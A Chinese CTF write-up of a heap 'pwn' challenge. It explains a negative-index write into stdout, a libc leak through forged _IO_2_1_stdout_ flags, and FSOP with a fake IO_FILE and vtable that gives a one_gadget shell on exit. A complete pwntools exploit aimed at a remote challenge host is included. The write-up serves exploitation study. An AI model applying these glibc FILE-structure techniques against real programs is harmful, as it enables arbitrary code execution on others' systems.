一道给了libc的菜单题,没有show功能,在程序一开始有个类似于初始化的函数
具体是进行了malloc_hook和free_hook的替换,目的就是让我们无法修改malloc_hook或者free_hook来劫持流程
checksec一下:全保护
1.在edit时对输入的索引没有检查为负数的情况
2.在edit的时候存在off by null
先来熟悉一下_IO_2_1_stdout的结构和虚函数表_IO_file_jumps的结构:
本题需要用的指针均已在红框内标识,下面讲一下泄露原理
puts函数的调用链:puts--> _IO_puts->_IO_new_file_xsputn->_IO_new_file_overflow->_IO_do_write->_IO_new_file_write
_IO_new_file_overflow 源码:
int _IO_new_file_overflow (_IO_FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) ...... ...... } if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); //!!!size的计算在这里 if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */ if (_IO_do_flush (f) == EOF) return EOF; *f->_IO_write_ptr++ = ch; if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n')) if (_IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) == EOF) return EOF; return (unsigned char) ch; }这里可以看到在_IO_do_write函数中,在调试的时候 发现f->_IO_write_ptr - f->_IO_write_base = 0 ,也就是说不会打印出任何信息。 所以我们需要修改_IO_write_base并且小于_IO_write_ptr,那么size不会等于0,以达到泄露的目的
new_do_write 源码:
static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do) { _IO_size_t count; if (fp->_flags & _IO_IS_APPENDING) fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); //最终的打印在这里,类似于write函数 if (fp->_cur_column && count) fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1; _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base; fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp->_IO_buf_base : fp->_IO_buf_end); return count; }目标函数是 _IO_SYSWRITE, 为了顺利到达这里, 我们需要让_flags标志满足上述的一些条件
_flags标志的一些宏:
#define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */ #define _IO_UNBUFFERED 0x0002 #define _IO_NO_READS 0x0004 /* Reading not allowed. */ #define _IO_NO_WRITES 0x0008 /* Writing not allowed. */ #define _IO_EOF_SEEN 0x0010 #define _IO_ERR_SEEN 0x0020 #define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */ #define _IO_LINKED 0x0080 /* In the list of all open files. */ #define _IO_IN_BACKUP 0x0100 #define _IO_LINE_BUF 0x0200 #define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */ #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 /* 0x4000 No longer used, reserved for compat. */ #define _IO_USER_LOCK 0x8000那就可以得到_flags需要满足的条件:
_flags = 0xfbad0000 _flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000 _flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800 _flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
由于在编辑时我们索引输入为‘-6’,就可以修改stdout,那么我们payload的构造如下,如此便能泄露libc基址
edit('-6',p64(0xfbad1800) + p64(0)*3 + "\x00") leak = p.recv(0x20) leak = leak[0x18:] libc_base = u64(leak[:6].ljust(8,"\x00"))-libc.symbols["_IO_file_jumps"]
FSOP的具体利用可参考资料: https://xz.aliyun.com/t/5508#toc-2( IO FILE 之劫持vtable及FSOP )
1. 修改_chain指向伪造的IO_FILE结构体
edit('-6', p64(0xfbad1800) + p64(libc_base+0x3c56a3) + p64(libc_base+0x3c56a3) + p64(libc_base+0x3c56a3) + p64(libc_base+0x3c56a3) + p64(libc_base+0x3c56a4) + p64(libc_base+0x3c56a4) + p64(libc_base+0x3c56a3) + p64(libc_base+0x3c56a4) + p64(0)*4 + p64(fake_IO))2.在伪造的结构体中要绕过检查,即fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base ,构造的payload如下:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
fake_IO_FILE:
edit('0', p64(0)*3 + p64(255) + p64(0)*21 + p64(fake_vt))fake_vtable:
edit('1', p64(0)*3 + p64(shell))3.哪些函数会触发 _IO_flush_all_lockp?
①libc执行abort函数时 ②程序执行exit函数时 ③程序从main函数返回时
来看一下exit函数的栈回溯:
_IO_flush_all_lockp () _IO_cleanup () __run_exit_handlers () __GI_exit () main () __libc_start_main () _start ()
附上完整的exp:
from pwn import * def malloc(size): p.recvuntil('>>') p.sendline('1') p.recvuntil('Input size : ') p.sendline(str(size)) def edit(id,data): p.recvuntil('>>') p.sendline('3') p.recvuntil('Input idx : ') p.sendline(str(id)) p.recvuntil('Input text : ') p.sendline(data) def free(id): p.recvuntil('>>') p.sendline('2') p.recvuntil('Input idx : ') p.sendline(str(id)) def exit(): p.recvuntil('>>') p.sendline('4') def wait(size): p.recvuntil('>>') p.sendline('1') #context.log_level = 'debug' #p = process('./pwn') p = remote('154.8.174.214',10001) libc = ELF('libc-2.23.so') gadgets = [0x45216,0x4526a,0xf02a4,0xf1147] edit('-6',p64(0xfbad1800) + p64(0)*3 + "\x00") leak = p.recv(0x20) leak = leak[0x18:] libc_base = u64(leak[:6].ljust(8,"\x00"))-libc.symbols["_IO_file_jumps"] print hex(libc_base) shell = libc_base + gadgets[1] print hex(shell) malloc(0x200) p.recvuntil("heap 0 : 0x") fake_IO = int(p.recv(12),16)-0x10 print hex(fake_IO) malloc(0x200) p.recvuntil("heap 1 : 0x") fake_vt = int(p.recv(12),16) print hex(fake_vt) edit('-6', p64(0xfbad1800) + p64(libc_base+0x3c56a3) + p64(libc_base+0x3c56a3) + p64(libc_base+0x3c56a3) + p64(libc_base+0x3c56a3) + p64(libc_base+0x3c56a4) + p64(libc_base+0x3c56a4) + p64(libc_base+0x3c56a3) + p64(libc_base+0x3c56a4) + p64(0)*4 + p64(fake_IO)) edit('0', p64(0)*3 + p64(255) + p64(0)*21 + p64(fake_vt)) edit('1', p64(0)*3 + p64(shell)) exit() p.interactive()
[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!
最后于 12小时前 被binarymen编辑 ,原因: